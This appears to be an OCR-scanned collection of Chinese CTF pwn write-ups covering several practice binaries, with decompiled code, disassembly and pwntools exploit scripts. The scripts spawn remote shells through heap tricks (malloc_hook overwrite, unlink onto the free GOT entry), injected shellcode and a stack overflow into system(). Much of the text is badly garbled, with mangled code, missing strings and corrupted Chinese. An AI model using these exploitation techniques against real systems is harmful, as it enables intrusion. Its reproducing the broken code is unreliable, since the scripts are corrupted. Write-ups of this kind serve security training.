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lnt sub_FeE()
puts("1. add");

return puts("2. remove");
t

add

junsigned _ int64 sub_CE1()

I

__inte4 ve; // rax

__inte4 v1; // rax

unsigned int v2; // ebx

__inte4 v3; // rax

size_t size; // [rsp+8h] [rbp-26h] BYREF

unsigned __inté4 v6; // [rsp+8h] [rbp-18h]

| v6 = __readfsqword(@x28u);

vO = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");

std::ostream: :operator<<(v@, &std::endl<char,std::char_traits<char>>);

std::istream: :operator>>(&std::cin, (char *)&size + 4);

if ( *((_QWORD *)&unk_2022A@ + HIDWORD(size)) || HIDWORD(size) > @x18 )
exit(e);
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VL = SLacioperaLor<<<sid:ionar_Lralis<cnar»>(&«sta: i cout, iNput wne si1Ze );
std::ostream: :operator<<(vl, &std::endl<char,std::char_traits<char>>);

std: :istream: :operator>>(&std::cin, &size);

if ( (unsigned int)size <= @x78 )

v2 = HIDWORD(size);
*((_QWORD *)&unk_2022A8 + v2) = malloc((unsigned int)size);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
std::ostream: :operator<<(v3, &std::endl<char,std::char_traits<char>>);
sub_CBB(*((_QWORD *)&unk_2022A@ + HIDWORD(size)), (unsigned int)size);
puts("OK!");
printf("gift :%p\n", *((const void **)&unk_2022A@ + HIDWORD(size)));
}

return __readfsqword(@x28u) ~ v6;

HIDWORD 72 IAD 1 1) 7 7€ .

#define LOBYTE (x) (* ((_BYTE*) & (x))) // low byte

#define LOWORD (x) (* ((_WORD*) & (x))) // low word

#define LODWORD(x) (*(( DWORD*)&(x))) // low dword

#define HIBYTE (x) (* ((_BYTE*) & (x)+1))

#define HIWORD (x) (* ((_WORD*) & (x) +1))

#define HIDWORD(x) (* (( DWORD*) & (x)+1))

#define BYTEn(x, n) (*((_BYTE*) & (x) +n))

#define WORDn (%, n) (* ((_WORD*) & (x) +n))

#define BYTEI (x) BYTEn (x, 1) // byte 1 (counting from 0)

#define BYTE2 (x) BYTEn (x, 2)

#dafine RYTEI(w) RYTHRERN {w. 2

- .-

std::istream::oberator>>f(_;int64)&std::cin, (__intsd)gsize + 4);
if ( *((_QWORD *)&unk_2022A@ + HIDWORD(size)) || HIDWORD(size) > @x18 )
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size FIjiindex, #AJ5 H1ii (1) chunkhilk % 7£2022a0.
printf("gift :%p\n", *((const void **)&unk_2©22A@ + HIDWORD(size)));
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remove

unsigned __int64 remove()

{
__inte4 ve; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = _ _readfsqword(ex28u);
vB = std::operator<<<std::char_traits<char>>(&std::cout, "input the index™);
std: :ostream: :operator<<(ve, &std::endl<char,std::char_traits<char>>);
std::istream: :operator>>((__int64)&std::cin, (__int64)&v2);
if ( v2 > ex18 )
exit(e);
free(*((void **)&unk_2022A0 + v2));
return __readfsqword(@&x28u) ~ v3;
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from pwn import

remote( ,28201)

def add(idx,size,data):
r.recvuntil(
.sendline(
.recvuntil(
.sendline( (idx))
.recvuntil(
.sendline( (size))
.recvuntil(
.sendline(data)

.recvuntil( )

e e B B B B B B

return (r.recvline()[2:],16)

def free(idx):
.recvuntil(
.sendline(
.recvuntil(

.sendline(

heap=add(0,0x78,
(heap))

E)
E)
E)
E)
E)
E)
E)
E)

E)

add (10,0x78,
add(11,0x78,
add(12,0x28,

add(13,0x28,p64(heap-0x10))
add(14,0x28,p64(heap-0x10))
add (15,0x28,p64(0)+p64(0x421))

add(16,0x78,
add(17,0x18,




malloc_hook = (add(18, @x18, ) & OXFFFFFFFFFFFFFO00) + (libc.sym[ OXFFF)
libc_base malloc_hook libc.sym[ ]

one_gadget=1ibc_base+0x10a38c
print( (libc_base), (malloc_hook))

add (19,0x78,p64(malloc_hook))
add (20,0x78,p64(malloc_hook))
2dd(21,0x78,p64(one_gadget))

.sendline(
.sendline(
.sendline(

.interactive()

67 mrctf2020_shellcode



i

28001183 call _setbuf

20001188 mov rax, c¢s:stderr@@GLIBC_2_2_5

28ee118F mov esi, © ; buf

28001194 mov rdi, rax ; stream

20001197 call _setbuf

2eee119C lea rdi, s ; "Show me your magic!"
2880811A3 call _puts

200011A8 lea rax, [rbp+buf]

208011AF mov edx, 48eh ; nbytes

2eeel11B4 mov rsi, rax ; buf

200011B7 mov edi, © ; fd

980011BC mov eax, @

280011C1 call _read

2808011C6 mov [rbp+var_4], eax

200011C9 cmp [rbp+var_4], ©

200011CD jg short loc_11D6

280011CF mov eax, ©

20001104 jmp short locret_l11E4

L B L
300811D6

200011D6 loc_11D6: ; CODE XREF: main+78t1j
200011D6 lea rax, [rbp+buf]

28ee11DD call rax

980811DF mov eax, @

J00011E4

280011E4 locret_11E4: ; CODE XREF: main+7F1j
260011E4 leave

200Q11ES retn

e T T T I Y 4 a4 a4 amrr—

oA call rax e EAN 17, i ELIEA L .

BITNX, SR call raxil L ELEACbufff bk i 132, Prilalcalii B, pr LELHEAE AR Mt )7 5 Eshellcode s 4«

exp

from pwn import

context.arch

context.log level
r remote( ,26456)

elf = ELF(
libc = ELF(

shellcode = asm(shellcraft.sh())

r.sendline(shellcode)

r.interactive()




68 hitcontraining_magicheap

i

int menu()

{

puts("------------mm ")
puts(" Magic Heap Creator ")
puts("------------mm ")
puts(” 1. Create a Heap "3;
puts(" 2. Edit a Heap ")
puts(" 3. Delete a Heap "3;
puts(" 4. Exit ")

);

puts (===
return printf("Your choice :");
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create

unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+1@h] [rbp-18h] BYREF
unsigned __inté64 v4; // [rsp+18h] [rbp-8h]

v4d = _ readfsqword(@x28u);
for (1 =0; 1 <= 9; ++1 )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(®, buf, 8uLL);
size = atoi(buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts(“Allocate Error");
exit(2);
¥
printf("Content of heap:");
read_input(heaparray[i], size);
puts(“"SuccessFul");
return __readfsqword(@x28u) ~ v4;

}
¥

return __readfsqword(@x28u) "~ v4;

}
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edit

int edit_heap()
{
int v1; // [rsp+@h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
size_t v3; // [rsp+8h] [rbp-8h]

printf(“Index :");
read(@, buf, 4uLL);
vl = atoi(buf);
if (vi<eoe || vi>9)
{
puts("Out of bound!™);
_exit(e);
¥
if ( !heaparray[vi] )
return puts("No such heap !");
printf("Size of Heap : ");
read(®, buf, 8uLL);
v3 = atoi(buf);
printf(“"Content of heap : ");
read_input((void *)heaparray[vl], v3);
return puts(“"Done !");
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delete

int delete_heap()
{
int v1; // [rsp+8h] [rbp-8h]
char buf[4]; // [rsp+Ch] [rbp-4h] BYRE

printf(“Index :");
read(@, buf, 4uLL);
vl = atoi(buf);
if (vi<e || vi>9)
{
puts("Out of bound!");
_exit(e);
}
if ( !'heaparray[vl] )
return puts("No such heap !");
free((void *)heaparray[vl]);
heaparray[vl] = @eLL;
return puts(“"Done !");
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int 133t()
{

}

return system("/bin/sh™);

Wi EREFFSH, bt 22 REmagiciiith 7 5 N —AN K HI# s, EABLEIbeHH,  filunsortedbin_attack m] PA ik /& H.4%
HRT, KA RN e,

old_top av->top;
old size = chunksize (old_top);
old_end (char *) (chunk_at_offset (old top, old size));

brk = snd_brk (char *) (MORECORE_FAILURE);

assert ((old_top initial top (av) old_size Q)
((unsigned long) (old_size) MINSIZE
prev_inuse (old_top)
((unsigned long) old _end (pagesize 1)) 9));

assert ((unsigned long) (old_size) (unsigned long) (nb + MINSIZE));
FITLAFRANT/E X B3 B2 F unlink
[5] JEi— "~ unlink

ttdefine unlink(P, BK, FD)
{
FD = P->fd;
BK P->bk;
if(FD->bk BK->fd p)
{

malloc_printerr (check_action,

}

else

{

i@idunlink, E5Hrheaparray, SRJEHEE —NEALIR B 5 ifreeffigot, 2%, Siht, #EEX M, REHESfree Ny

system, M5 %shell.

exp




,26365)

def create(size,content):
r.recvuntil(
.sendline(
.recvuntil(

.recvuntil(

P
r
r.sendline( (size))
p
p

.sendline(content)

def edit(index, size, content):
r.recvuntil( )

.sendline(
.recvuntil( )
.sendline( (index))
.recvuntil(
.sendline( (size))
.recvuntil(
.send(content)

def delete(index):
.recvuntil(
.sendline(
.recvuntil( )

.sendline( (index))

p64(9) p64(0x21) p64(ptr-0x18) p64(ptr-0x10)
p64(0x20) p64(0x90)

(payload),payload)

p64(9) p64(9) p64(free_got)
p64(ptr-0x18) p64(ptr+0x10)

edit(1, (payload),payload)
edit(0,8,p64(system plt))

delete(2)

r.interactive()




69 pwnable_start

TR

public _start
_start proc near

push esp

push offset _exit

xor eax, eax

xor ebx, ebx

xor ecx, ecx

xor edx, edx

push ":FTC'

push ' eht’

push " tra’

push 'ts s’

push 2774654Ch

mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4

int 80h ; LINUX - sys _write
xor ebx, ebx

mov dl, "<’

mov al, 3

int 80h 3 LINUX -
add esp, 1h

retn
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RUNEEFF—THaatsesp ARk 1, FTLMERFIRIAIZ 5, BTt /& 2 ifesp il .



10804380680

: 08048060 public _start

188648060 _start proc near 5 DAT
: 08048060 push esp

188048061 push offset _exit

: 08848066 xor eax, eax

108048068 xor ebx, ebx

SRR, I RGUR SRR 11 execve HiAT 1.
REFIERE T E5ANKIR/N, Hpwntools it K% 1, FiLlitZ2ACTE 1
exp
from pwn import
context (os ,log_level
remote( 5 )

Ox14 + p32(0x8048087)

»X)

u3d2(r.recv(4))
(stack))

esp stack ox4

shellcode

0x14 + p32(esp+0x14+0xc) asm(shellcode)

r.interactive()
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ssize_t vulnerable()

{

char buf[24]; // [esp+@h] [ebp-18h] BYREF

return read(@, buf, 36u);

}

TEE AR

int shell()
{

¥

return system("/bbbbbbbbin_what_the_f?ck__--??/sh");

T BB AN K, B N UG -
BAERBEBINEM, A REfEbssH — 2L Y.,

[l 1 _E g RIS R 1T 8, BLAT LAE R Al /sh.

system('/sh’ )t & J5 115

.rodata:0804866D db 3Fh ;
.rodata:e884866E db 3Fh ; :
.rodata:0804866F db 2Fh ; /
.rodata:e8e4867e@ aSh db "sh',@
.rodata: 08048673 align 4
.rodata:08048674 ; const char s[]
.rodata:08048674 s db ' _

{H

H
e

exp
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from pwn import

context(os ,log level

remote( , 26920)

system_addr 0x8048529
sh_addr 0x8048670

payload 28 p32(system_addr) p32(sh_addr)
r.send(payload)

r.interactive()
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